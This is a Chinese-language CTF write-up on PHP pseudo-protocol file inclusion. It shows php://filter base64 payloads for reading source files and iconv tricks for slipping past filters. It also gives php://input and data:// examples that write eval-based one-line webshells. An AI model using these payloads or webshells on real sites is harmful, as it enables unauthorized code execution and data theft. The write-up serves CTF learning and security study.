一道简单的关于PHP伪协议的题目,正好总结一下
1.打开题目很明显可以看到url中的参数,正好也是对应的按钮中的单词,所以可以对参数内容进行尝试
2.我这里试了woofers.php,返回报错,从这里的内容就可以看出是文件包含,同时自动补充.php后缀,于是我们可以构造payload查看源码。
?file=php://filter/convert.base64-encode/resource=index
3.对所得内容base64解码,可以找到该内容。
这也解释了为什么直接传入file=index会失败的原因,对strpos()函数会返回所查找子字符串第一个字母的下标,若无则返回false
4.构造最终payload
file=php://filter/convert.base64-encode/index/resource=flag
分割线
- allow_url_fopen :on #默认开启 ,表示允许url里的封装协议访问文件;
- allow_url_include:off #默认关闭,表示不允许包含url里的封装协议包含文件;
php://Filter
对filter,在一些题目中可能会对转换过滤器进行waf,所以可用
convert.iconv.<input-encoding>.<output-encoding>或者
convert.iconv.<input-encoding>/<output-encoding>
进行绕过,其中支持的字符编码有
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
更多内容可参考php://filter-CSDN博客
PHP://input
对于input,可用post方式提交想运行的语句,实现命令执行漏洞
例如在当前目录下,生成一句话木马文件
<?php
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>
DATA://
对于data,可用于内容封装,可生成一句话木马
例如生成shell.php
<?php fputs(fopen("shell.php","w"),'<?php @eval($_POST['cmd']);?>') ?>
fputs()将内容写入打开的文件,无则创建
更多内容可看003-漏洞梳理篇之php伪协议_伪协议漏洞-CSDN博客
补充还有phar://协议,用于反序列化中